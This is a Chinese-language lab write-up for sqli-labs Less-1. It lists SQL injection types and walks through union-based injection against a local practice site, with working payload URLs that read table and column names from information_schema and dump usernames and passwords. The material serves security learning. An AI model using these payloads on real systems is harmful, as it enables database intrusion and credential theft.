sqli-labs/less-1
SQL注入-less-1
前言:
- 动态与数据库交互类型网站,通过构造查询语句通过界面层传入通过业务逻辑层传入数据交互层(数据库),回显查询数据导致数据泄露。
- SQL注入类型:
- 联合注入
- 布尔盲注
- 时间盲注
- 宽字节注入
- 报错注入
- floor报错注入
- updatexml报错注入
- extractvalue报错注入
- 堆叠注入
- 二次注入
- base64注入
- cookie注入
- 文件名注入
- 异或注入
正文:
input ID 构造?id=1 可知为GET类型

随意更改?id=n n的值,name与paswword会发生相应的改变。
联合注入: 字符类型 整型
for example字符型查询语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1" 此时的$id为get传入值被引号包括
for example整型查询语句: $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 此时的$id没有被引号包括
判断字符型:
- 传入单引号报错 单引号提前闭合
- 出入 and 1=1 显示正常 在此基础上 ?id=1' and 1=1 --+ 显示正常 select * from users where id = '1' and 1=1 -- '
- 出入 and 1=2 显示正常 在此基础上 ?id=' and 1=2 --+ 显示错误 select * from users where id = '1' and 1=2 -- '
注:mysql数据库中注释: # --空格 /*多行注释*/ +表空格
oder by 判断字段 oder by 给字段进行排序 但后加数字默认代替列的名字。
oder by 3 正常 oder by4 错误 存在3个字段
使用union select 1,2,3 查询回显点 报错才显示回显点:回显点与数据库交互的窗口
方法一,使?id=66666 超出实际值
方法二,在源代码中 limit0,1 只从0行开始显示一条记录 改为 limit 1,2

2,3回显点,然后不变的套路。
查表名:
http://localhost/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security" limit 1,1 --+
查字段名:
http://localhost/Less-1/?id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = "security" and table_name = "users"limit 1,1 --+
查密:
http://localhost/Less-1/?id=1' union select 1,group_concat(username,0x5c,password),3 from security.users limit 1,3 --+
补充:
version()查询数据库版本 database() 查数据库名称。
information_schema 数据库中自带的一个库,包含数据库中所有库的表名,列名。
group_concat() 将同一个分组中的数据连起来形成一串字符串。
0x5c 反斜杠的十六进制用于分割长字符串,使username,password更直观。

浙公网安备 33010602011771号